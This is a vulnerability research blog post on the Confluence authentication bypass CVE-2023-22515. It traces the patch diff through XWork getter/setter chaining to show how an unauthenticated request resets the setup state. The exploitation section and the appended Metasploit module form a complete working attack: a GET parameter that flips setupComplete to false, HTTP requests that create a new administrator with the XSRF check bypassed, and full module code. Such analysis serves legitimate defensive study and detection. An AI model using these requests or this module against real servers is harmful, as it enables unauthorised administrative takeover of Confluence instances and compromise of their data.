Recently, Atlassian published an article about a critical Broken Access Control vulnerability affecting Confluence Data Center and Server. Atlassian announced in the update that the vulnerability has benn actively exploited and scored as CVSS 10.
Atlassian also published a threat detection and recommended disabling all setup endpoints on servers that have not yet received the update. They also announced the following as additional information about threat detection:
- Unexpected members of the confluence-administrators group
- Unexpected newly created user accounts
- Requests to /setup/*.action in network access logs
- Presence of /setup/setupadministrator.action in an exception message in atlassian-confluence-security.log in the Confluence home directory
Based on the advisory and threat detection published by Atlassian, our team started an analysis to detect the vulnerability.
Analysis Link to heading
We know from Atlassian’s advisory that the vulnerability is related to setup endpoints. So after de-compiling the com.atlassian_confluence_confluence-8.0.0.0.jar file, we started looking at the changes made to the setup endpoints and found something that we think may be about the vulnerability.
A new file named ReadOnlyApplicationConfig.java
has been added under the /impl/setup
folder.
+package com.atlassian.confluence.impl.setup;
+
+import com.atlassian.config.ApplicationConfiguration;
+import com.atlassian.config.ConfigurationException;
+import com.atlassian.config.ConfigurationPersister;
+
+public class ReadOnlyApplicationConfig
+implements ApplicationConfiguration {
+ private final ApplicationConfiguration delegate;
+
+ public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {
+ this.delegate = delegate;
+ }
+
+ // .... some codes here
+
+ public boolean isSetupComplete() {
+ return this.delegate.isSetupComplete();
+ }
+
+ public void setSetupComplete(boolean setupComplete) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ public void setConfigurationPersister(ConfigurationPersister config) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ public void save() throws ConfigurationException {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ public void reset() {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ public String getSetupType() {
+ return this.delegate.getSetupType();
+ }
+
+ public void setSetupType(String setupType) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ public String getCurrentSetupStep() {
+ return this.delegate.getCurrentSetupStep();
+ }
+
+ public void setCurrentSetupStep(String currentSetupStep) {
+ throw new UnsupportedOperationException("Mutation not allowed");
+ }
+
+ // .... some codes here
+
}
There are methods like setCurrentSetupStep
, setSetupStep
and when these methods are called from the ReadOnlyApplicationConfig
class,
they return an error message that Mutation is not allowed.
Most important method we need to look at is the setSetupComplete
method in here. This method prevents changing the setup state in the application.
The ReadOnlyApplicationConfig.java
file name and the use of the setSetupComplete
method and similar methods here make us think that the
vulnerability is related to modifying the application config. So how?
Firstly, we need to look at where the ReadOnlyApplicationConfig
class is imported and used. I used a Bash command for this,
but you can also do it by opening the code in an application like Intellij.
find confluence-8.3.3/com/atlassian/confluence/ -name "*.java"|xargs grep "ReadOnlyApplicationConfig" --color
The output of the bash command shows that this class is imported and used in BootstrapStatusProviderImpl.java
file.
com/atlassian/confluence/impl/setup/ReadOnlyApplicationConfig.java:public class ReadOnlyApplicationConfig
com/atlassian/confluence/impl/setup/ReadOnlyApplicationConfig.java: public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) {
com/atlassian/confluence/impl/setup/BootstrapStatusProviderImpl.java:import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;
com/atlassian/confluence/impl/setup/BootstrapStatusProviderImpl.java: return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());
If you diff BootstrapStatusProviderImpl.java
file between the vulnerable and fixed versions, you will see that the getApplicationConfig
method is returned after
calling the ReadOnlyApplicationConfig
method, instead of returned by itself.
Something similar is done in the ReadOnlySetupPersister
class in the fixed version.
+import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig;
+import com.atlassian.confluence.impl.setup.ReadOnlySetupPersister;
import com.atlassian.confluence.setup.BootstrapManagerInternal;
import com.atlassian.confluence.setup.BootstrapStatusProvider;
import com.atlassian.confluence.setup.BootstrapStatusProviderException;
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
@Override
public ApplicationConfiguration getApplicationConfig() {
- return this.delegate.getApplicationConfig();
+ return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig());
}
@Override
public SetupPersister getSetupPersister() {
- return this.delegate.getSetupPersister();
+ return new ReadOnlySetupPersister(this.delegate.getSetupPersister());
}
}
To find where the getApplicationConfig
method is used, we are looking for where the BootstrapStatusProviderImpl
class is used in the source code.
find confluence-8.3.3/com/atlassian/confluence/ -name "*.java"|xargs grep "BootstrapStatusProviderImpl" --color
Inside the ConfluenceActionSupport.java
file, we see that the BootstrapStatusProviderImpl
class is used.
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
// .... some codes
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null) {
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
}
return this.bootstrapStatusProvider;
}
// .... some codes
}
The BootstrapStatusProviderImpl
class is used inside the ConfluenceActionSupport
class using the getInstance
method. However, we cannot access the ConfluenceActionSupport
class directly.
So, we need to find out where the ConfluenceActionSupport
class is also used.
After a quick search, we see that some basic actions are extended with the ConfluenceActionSupport
class. Some of them are the following:
- AttachmentNotFoundAction
- FourOhFourAction
- IndexAction
- ServerInfoAction
The classes mentioned above are located in actions under the /com/atlassian/confluence/core
folder. So, to find out how we can access these actions,
we look at the contents of the struts.xml
file in the jar file we decompiled.
<action name="notfound" class="com.atlassian.confluence.core.actions.FourOhFourAction">
<interceptor-ref name="defaultStack"/>
<result name="success" type="redirect">/fourohfour.action</result>
</action>
<action name="fourohfour" class="com.atlassian.confluence.core.actions.FourOhFourAction">
<interceptor-ref name="defaultStack"/>
<result name="error" type="velocity">/404.vm</result>
<result name="success" type="velocity">/404.vm</result>
<result name="setup-success" type="velocity">/setup/404.vm</result>
<result name="login" type="redirect">${loginUrl}</result>
</action>
// .... some codes
<action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
<interceptor-ref name="defaultStack"/>
<result name="redirect" type="redirect">${location}</result>
<result name="forward" type="dispatcher">${location}</result>
</action>
// .... some codes
<action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction">
<result name="success" type="rawText">success</result>
</action>
There is a redirection in all actions except the server-info
action. So we know that it is extended with ConfluenceActionSupport
, we start to examine
the content of the ServerInfoAction
class.
package com.atlassian.confluence.core.actions;
import com.atlassian.annotations.security.XsrfProtectionExcluded;
import com.atlassian.confluence.core.ConfluenceActionSupport;
import com.atlassian.confluence.security.access.annotations.PublicAccess;
import com.atlassian.xwork.HttpMethod;
import com.atlassian.xwork.PermittedMethods;
public class ServerInfoAction extends ConfluenceActionSupport {
public ServerInfoAction() {
}
@PermittedMethods({HttpMethod.ANY_METHOD})
@XsrfProtectionExcluded
@PublicAccess
public String execute() throws Exception {
return "success";
}
}
The @PublicAccess
annotation means that this action is accessible as unauthenticated.
To verify this, we send a request to the server-info.action endpoint.
We have a theory about what the vulnerability is. We also have an endpoint that we can trigger using this theory without authenticated. So what is the vulnerability and how do we trigger it?
If you examine the ServerInfoAction
class in more detail, you can see that a library called xwork
is imported (you can also see this in other actions).
Xwork is basically a generic command pattern framework that comes in Apache Struts. There is some useful information on the page where Apache explains Xwork in more detail.
- Core command pattern framework which can be customized and extended through the use of interceptors to fit any request/response environment
- Built-in type conversion and action property validation using OGNL
We know the risks OGNL can cause with previous vulnerabilities in Confluence, such as CVE-2022-26134.
There is nothing like OGNL Injection in this vulnerability, but we know that XWork can call appropriate setters and getters with the names it receives from HTTP parameters via ParametersInterceptor. For example:
/user/details?user.fullname.name=doe HTTP/1.1
This request will be intercepted via XWork’s ParameterInterceptor and if the user, full name and name getters/setters are present in the code, they will be called as follows:
action.getUser().getFullname().setName("doe")
If you use XWork without checking the values you get from HTTP parameters, attackers will be able to use the getter/setter methods in the code as they wish.
So how can we use this?
We need to take a look at the interceptors related to setup. You can find interceptor definitions in the struts.xml
file.
You can see that an interceptor named setup hits the SetupCheckInterceptor
class.
// .... some definitions
<interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>
// .... some definitions
Inside the SetupCheckInterceptor
, you can see that it calls the isSetupComplete
method.
public class DefaultAtlassianBootstrapManager implements AtlassianBootstrapManager {
// .... some codes
public boolean isSetupComplete() {
return (isBootstrapped() && this.applicationConfig.isSetupComplete());
}
// .... some codes
}
That’s where it checks if the application has been installed before or not. So if we can change the return value of the isSetupComplete
method,
the application will behave as if it has never been installed before and we will be able to access the installation endpoints unauthenticated.
So, to do this, we’ll create a getter/setter chain using XWork’s ParameterInterceptors property mentioned above and change the value of the isSetupComplete
method to false
.
If you remember, we mentioned the ConfluenceActionSupport
class above.
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
// .... some codes
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null) {
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
}
return this.bootstrapStatusProvider;
}
// .... some codes
}
There is a setter method named getBootstrapStatusProvider
in this class that calls BootstrapStatusProviderImpl
.
We will call this getter in the first HTTP parameter for getter/setter chain.
/server-info.action?bootstrapStatusProvider
In the vulnerable version, the getApplicationConfig
method was called directly in the BootstrapStatusProviderImpl
class.
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
// .... some codes
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
// .... some codes
}
Here, the application config is called with a setter method named getApplicationConfig
. So we are adding this getter as well.
/server-info.action?bootstrapStatusProvider.applicationConfig
And finally, when we look inside the ApplicationConfig
class, we see that there is a setter method called setSetupComplete
(Does that sound familiar? :) ).
public class ApplicationConfig implements ApplicationConfiguration {
// .... some codes
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
// .... some codes
}
When we add this setter to our chain, we can now change the application setup config to false
and make it behave as if it has never been installed before!
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
So, we actually created a getter/setter chain in the application follows:
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
Explotation Link to heading
When analyzing the vulnerability, we used the server-info action, which can be accessed as unauthenticated but you should know that the vulnerability is not limited to this endpoint.
Because interceptors in Apache Struts can execute both before and after an action is executed.
So, no matter which action you call that is extended with the ConfluenceActionSupport
class,
you can trigger the vulnerability because the interceptor will be triggered before the action.
For example, you can use the fourofhour
action instead of the server-info
action.
/fourofhour.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
Also, with this GET request, we are changing the configuration so that the application has not been installed before but we are not doing any re-installation.
Instead of that, we add a new admin account to the application using the
/setup/setupadministrator.action
endpoint and finish the setup by sending a request to the /setup/finishsetup.action
endpoint.
POST /setup/setupadministrator.action HTTP/1.1
Host: confluence.local:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
X-Atlassian-Token: no-check
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Connection: close
username=norbert&fullName=New%20Admin&email=ronny_greenfelder%40rolfson.name&password=QcbRmeDg&confirm=QcbRmeDg&setup-next-button=Next
When sending a request to the /setup/setupadministrator.action
endpoint, don’t forget the send X-Atlassian-Token: no-check
header. This will bypass the XSRF check.
After doing this, finish the setup by sending a request to the /setup/finishsetup.action
endpoint and log in to the account with the new admin account you created!
POST /setup/finishsetup.action HTTP/1.1
Host: 192.168.37.128:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: close
Metasploit Module Link to heading
We also developed a Metasploit Auxiliary module that exploits this vulnerability and creates a new admin account in the system.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
'Description' => %q{
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
A specially crafted request can be create new admin account without authentication on the target Atlassian server.
},
'Author' => [
'Unknown', # exploited in the wild
'Emir Polat' # metasploit module
],
'References' => [
['CVE', '2023-22515'],
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
],
'DisclosureDate' => '2023-10-04',
'DefaultOptions' => {
'RPORT' => 8090
},
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.action')
)
return Exploit::CheckCode::Unknown unless res
return Exploit::CheckCode::Safe unless res.code == 200
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/
confluence_version = Rex::Version.new(Regexp.last_match(1))
vprint_status("Detected Confluence version: #{confluence_version}")
if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end
def run
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/server-info.action'),
'vars_get' => {
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
}
)
return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200
print_good('Found server-info.action! Trying to ignore setup.')
created_user = create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
}
)
return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user
print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['NEW_USERNAME'],
private_type: :password,
private_data: datastore['NEW_PASSWORD'],
service_name: 'Atlassian Confluence',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
end
def create_admin_user
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_post' => {
'username' => datastore['NEW_USERNAME'],
'fullName' => 'New Admin',
'email' => datastore['NEW_EMAIL'],
'password' => datastore['NEW_PASSWORD'],
'confirm' => datastore['NEW_PASSWORD'],
'setup-next-button' => 'Next'
}
)
res&.code == 302
end
end
You can use this module in metasploit via:
use auxiliary/admin/http/atlassian_confluence_auth_bypass
References Link to heading
- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-22515
- https://svn.apache.org/repos/asf/struts/attic/xwork/trunk/docs/wikidocs/XWork%20Features.html
- https://www.rapid7.com/blog/post/2023/10/04/etr-cve-2023-22515-zero-day-privilege-escalation-in-confluence-server-and-data-center/